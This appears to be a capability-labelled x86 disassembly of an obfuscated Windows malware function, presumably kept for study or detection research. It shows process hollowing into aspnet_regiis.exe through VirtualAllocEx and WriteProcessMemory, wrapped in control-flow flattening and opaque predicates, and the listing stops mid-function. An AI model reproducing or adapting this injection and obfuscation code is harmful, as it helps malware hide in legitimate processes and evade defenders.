Function at 0x10002ca0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xfc
mov eax, dword [0x10065000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xfe], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xfd], al
mov dword [ebp - 0x104], 0x5ffe552e
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x108], eax
sub eax, 0x813a602a
je 0x100042e7
jmp 0x10002d13
mov eax, dword [ebp - 0x108]
sub eax, 0x839cc57c
je 0x10003b60
jmp 0x10002d29
mov eax, dword [ebp - 0x108]
sub eax, 0x8705f5a2
je 0x100040d2
jmp 0x10002d3f
mov eax, dword [ebp - 0x108]
sub eax, 0x877f7e71
je 0x1000532f
jmp 0x10002d55
mov eax, dword [ebp - 0x108]
sub eax, 0x8af28c82
je 0x10004761
jmp 0x10002d6b
mov eax, dword [ebp - 0x108]
sub eax, 0x8c59ff78
je 0x10004b9c
jmp 0x10002d81
mov eax, dword [ebp - 0x108]
sub eax, 0x8f8b780e
je 0x10003d23
jmp 0x10002d97
mov eax, dword [ebp - 0x108]
sub eax, 0x95c79193
je 0x10003b1d
jmp 0x10002dad
mov eax, dword [ebp - 0x108]
sub eax, 0x964ff921
je 0x100050b4
jmp 0x10002dc3
mov eax, dword [ebp - 0x108]
sub eax, 0x98c60d86
je 0x100043e8
jmp 0x10002dd9
mov eax, dword [ebp - 0x108]
sub eax, 0x9a0498a9
je 0x10005024
jmp 0x10002def
mov eax, dword [ebp - 0x108]
sub eax, 0x9ad657c4
je 0x10003970
jmp 0x10002e05
mov eax, dword [ebp - 0x108]
sub eax, 0x9d5a2251
je 0x100051fe
jmp 0x10002e1b
mov eax, dword [ebp - 0x108]
sub eax, 0x9fe56a0c
je 0x10004ad6
jmp 0x10002e31
mov eax, dword [ebp - 0x108]
sub eax, 0xa1fa6491
je 0x100052ac
jmp 0x10002e47
mov eax, dword [ebp - 0x108]
sub eax, 0xa30f518f
je 0x100045a4
jmp 0x10002e5d
mov eax, dword [ebp - 0x108]
sub eax, 0xa35a314c
je 0x10004ea4
jmp 0x10002e73
mov eax, dword [ebp - 0x108]
sub eax, 0xa385a92c
je 0x1000470c
jmp 0x10002e89
mov eax, dword [ebp - 0x108]
sub eax, 0xa41c184b
je 0x10004046
jmp 0x10002e9f
mov eax, dword [ebp - 0x108]
sub eax, 0xa50e4700
je 0x10004e86
jmp 0x10002eb5
mov eax, dword [ebp - 0x108]
sub eax, 0xa5e45bf1
je 0x1000452e
jmp 0x10002ecb
mov eax, dword [ebp - 0x108]
sub eax, 0xa77a2770
je 0x100054e7
jmp 0x10002ee1
mov eax, dword [ebp - 0x108]
sub eax, 0xaa24dd8b
je 0x1000521c
jmp 0x10002ef7
mov eax, dword [ebp - 0x108]
sub eax, 0xae2be488
je 0x10004d80
jmp 0x10002f0d
mov eax, dword [ebp - 0x108]
sub eax, 0xb2321133
je 0x10004940
jmp 0x10002f23
mov eax, dword [ebp - 0x108]
sub eax, 0xb61c1090
je 0x100049ea
jmp 0x10002f39
mov eax, dword [ebp - 0x108]
sub eax, 0xbcd51e03
je 0x10004c3f
jmp 0x10002f4f
mov eax, dword [ebp - 0x108]
sub eax, 0xbd2cc71e
je 0x1000451f
jmp 0x10002f65
mov eax, dword [ebp - 0x108]
sub eax, 0xbdc91bf3
je 0x100047d3
jmp 0x10002f7b
mov eax, dword [ebp - 0x108]
sub eax, 0xc2e1689c
je 0x100056aa
jmp 0x10002f91
mov eax, dword [ebp - 0x108]
sub eax, 0xc316efeb
je 0x100051a2
jmp 0x10002fa7
mov eax, dword [ebp - 0x108]
sub eax, 0xc3f77ce5
je 0x10004cb5
jmp 0x10002fbd
mov eax, dword [ebp - 0x108]
sub eax, 0xc836a1af
je 0x10004a60
jmp 0x10002fd3
mov eax, dword [ebp - 0x108]
sub eax, 0xc88f35cb
je 0x10004b2e
jmp 0x10002fe9
mov eax, dword [ebp - 0x108]
sub eax, 0xc945245f
je 0x100047f1
jmp 0x10002fff
mov eax, dword [ebp - 0x108]
sub eax, 0xcbe50c2d
je 0x10004d59
jmp 0x10003015
mov eax, dword [ebp - 0x108]
sub eax, 0xd2ed5840
je 0x10004842
jmp 0x1000302b
mov eax, dword [ebp - 0x108]
sub eax, 0xd457085a
je 0x1000541e
jmp 0x10003041
mov eax, dword [ebp - 0x108]
sub eax, 0xd5028e4c
je 0x10005387
jmp 0x10003057
mov eax, dword [ebp - 0x108]
sub eax, 0xd912bddd
je 0x10003fb7
jmp 0x1000306d
mov eax, dword [ebp - 0x108]
sub eax, 0xdcb77da2
je 0x10005448
jmp 0x10003083
mov eax, dword [ebp - 0x108]
sub eax, 0xdd2756a2
je 0x10004333
jmp 0x10003099
mov eax, dword [ebp - 0x108]
sub eax, 0xe01b20fe
je 0x100047b3
jmp 0x100030af
mov eax, dword [ebp - 0x108]
sub eax, 0xe14e7e0d
je 0x10003fd8
jmp 0x100030c5
mov eax, dword [ebp - 0x108]
sub eax, 0xe18ed290
je 0x10005159
jmp 0x100030db
mov eax, dword [ebp - 0x108]
sub eax, 0xe8c6ab5b
je 0x1000462c
jmp 0x100030f1
mov eax, dword [ebp - 0x108]
sub eax, 0xe8db7e2d
je 0x100055e4
jmp 0x10003107
mov eax, dword [ebp - 0x108]
sub eax, 0xec7da7ea
je 0x10005671
jmp 0x1000311d
mov eax, dword [ebp - 0x108]
sub eax, 0xec9dfac4
je 0x1000542d
jmp 0x10003133
mov eax, dword [ebp - 0x108]
sub eax, 0xee096a39
je 0x1000460e
jmp 0x10003149
mov eax, dword [ebp - 0x108]
sub eax, 0xf42ffe17
je 0x10004d3b
jmp 0x1000315f
mov eax, dword [ebp - 0x108]
sub eax, 0xf590a022
je 0x100040e1
jmp 0x10003175
mov eax, dword [ebp - 0x108]
sub eax, 0xf755fe2b
je 0x10004c64
jmp 0x1000318b
mov eax, dword [ebp - 0x108]
sub eax, 0xf986ed96
je 0x10005708
jmp 0x100031a1
mov eax, dword [ebp - 0x108]
sub eax, 0xfcc67f96
je 0x10003e8b
jmp 0x100031b7
mov eax, dword [ebp - 0x108]
sub eax, 0xffcf645e
je 0x10004bf5
jmp 0x100031cd
mov eax, dword [ebp - 0x108]
sub eax, 0x68bf412
je 0x10003d40
jmp 0x100031e3
mov eax, dword [ebp - 0x108]
sub eax, 0xc138700
je 0x1000449f
jmp 0x100031f9
mov eax, dword [ebp - 0x108]
sub eax, 0xdaef6e0
je 0x10003c48
jmp 0x1000320f
mov eax, dword [ebp - 0x108]
sub eax, 0x10035bd4
je 0x1000469a
jmp 0x10003225
mov eax, dword [ebp - 0x108]
sub eax, 0x11632388
je 0x100041ef
jmp 0x1000323b
mov eax, dword [ebp - 0x108]
sub eax, 0x12cf85f7
je 0x100055bd
jmp 0x10003251
mov eax, dword [ebp - 0x108]
sub eax, 0x17d2b67c
je 0x10003b2c
jmp 0x10003267
mov eax, dword [ebp - 0x108]
sub eax, 0x1a8de458
je 0x1000471b
jmp 0x1000327d
mov eax, dword [ebp - 0x108]
sub eax, 0x1eff7ab4
je 0x10005015
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0x6f5d8a97
sub edx, 1
sub edx, 0x6f5d8a97
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec9dfac4
mov ecx, 0x2b22872c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dword [ebp - 0x104], 0x17d2b67c
jmp 0x10005712
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, 0x27d3dad3
mov ecx, 0x839cc57c
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xec]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10006b70
add esp, 0xc
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10006b70
add esp, 0xc
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x104], 0x3d1fd5fb
jmp 0x10005712
mov eax, dword [ebp - 0x94]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0x9181f055
sub edx, 1
sub edx, 0x9181f055
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x783ac22b
mov ecx, 0x7ef378f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xe0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x68bf412
jmp 0x10005712
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x1d120b33
sub edx, 1
add edx, 0x1d120b33
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c43083e
mov ecx, 0x415a1ab7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x104], 0x4220423d
jmp 0x10005712
mov edx, dword [ebp - 0xd8]
mov eax, 0x4c44f191
mov ecx, 0xe14e7e0d
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa77a2770
mov ecx, 0xa41c184b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x84], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa77a2770
mov ecx, 0x8705f5a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dword [ebp - 0x104], 0xf590a022
jmp 0x10005712
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x84]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x4c44f191
jmp 0x10005712
mov eax, dword [ebp - 0x7c]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x80]
add ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
add ecx, 0x39189116
add ecx, 0x18
sub ecx, 0x39189116
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x53fabd6a
mov ecx, 0x37e557ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x104], 0x6e2c8f94
jmp 0x10005712
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc0]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0x6fc76b11
add ecx, edx
add ecx, 0x6fc76b11
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd0]
mov esi, dword [esi]
mov edi, dword [ebp - 0xc0]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0x57e93f78
add edx, esi
add edx, 0x57e93f78
mov esi, dword [ebp - 0xec]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x104], 0x98c60d86
jmp 0x10005712
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x20]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002a30
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov esi, dword [eax]
mov eax, dword [ebp - 0xc0]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x8af28c82
mov ecx, 0x76fd0cc0
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0x8eafdb25
sub edx, 1
sub edx, 0x8eafdb25
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x12cf85f7
mov ecx, 0xbd2cc71e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dword [ebp - 0x104], 0xa5e45bf1
jmp 0x10005712
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0x1efe0384
sub edx, 1
add edx, 0x1efe0384
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe8db7e2d
mov ecx, 0xa30f518f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x6c]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x5d], al
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0xb9ce4334
sub edx, 1
add edx, 0xb9ce4334
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8db7e2d
mov ecx, 0xee096a39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dl, byte [ebp - 0x5d]
mov eax, 0x8af28c82
mov ecx, 0xe8c6ab5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x28987dc7
mov ecx, 0x10035bd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x5c], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0xffc473c9
sub edx, 1
sub edx, 0xffc473c9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x28987dc7
mov ecx, 0xa385a92c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dword [ebp - 0x104], 0x1a8de458
jmp 0x10005712
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0x761c781c
sub eax, ecx
add eax, 0x761c781c
mov ecx, dword [ebp - 0x5c]
add ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x8af28c82
jmp 0x10005712
mov dword [ebp - 0x104], 0x3e3214dc
jmp 0x10005712
mov eax, dword [ebp - 0xd4]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x51], al
mov dword [ebp - 0x104], 0xbdc91bf3
jmp 0x10005712
mov dl, byte [ebp - 0x51]
mov eax, 0xaa24dd8b
mov ecx, 0xc945245f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0xe7c24c40
sub edx, 1
sub edx, 0xe7c24c40
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62503e19
mov ecx, 0xd2ed5840
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x62503e19
mov ecx, 0x4e98daac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x49], al
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0xeb3b6e04
sub edx, 1
sub edx, 0xeb3b6e04
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d7e4f06
mov ecx, 0x4e4b9aef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0xfef75046
sub edx, 1
add edx, 0xfef75046
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xec7da7ea
mov ecx, 0xc836a1af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0x77f924c7
sub edx, 1
add edx, 0x77f924c7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xec7da7ea
mov ecx, 0x9fe56a0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dword [ebp - 0x104], 0x3238c735
jmp 0x10005712
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x48], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0xe057f153
sub edx, 1
add edx, 0xe057f153
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7002a588
mov ecx, 0x2f2008c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov edx, dword [ebp - 0x48]
mov eax, 0x2b8b4c15
mov ecx, 0x41b4c262
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov ecx, dword [ebp - 0x44]
shr ecx, 1
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov dword [eax], 0
mov dword [ebp - 0x104], 0xbcd51e03
jmp 0x10005712
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x104], 0xf755fe2b
jmp 0x10005712
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0xcc14754b
sub edx, 1
sub edx, 0xcc14754b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6018b215
mov ecx, 0xc3f77ce5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x35], al
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0x615c3696
sub edx, 1
sub edx, 0x615c3696
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6018b215
mov ecx, 0xf42ffe17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dl, byte [ebp - 0x35]
mov eax, 0x4aa27884
mov ecx, 0xcbe50c2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x104], 0xae2be488
jmp 0x10005712
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc2e1689c
mov ecx, 0x1fdb1bfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dl, byte [ebp - 0x2d]
mov eax, 0x1eff7ab4
mov ecx, 0xa35a314c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x104], 0x55e34ce8
jmp 0x10005712
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
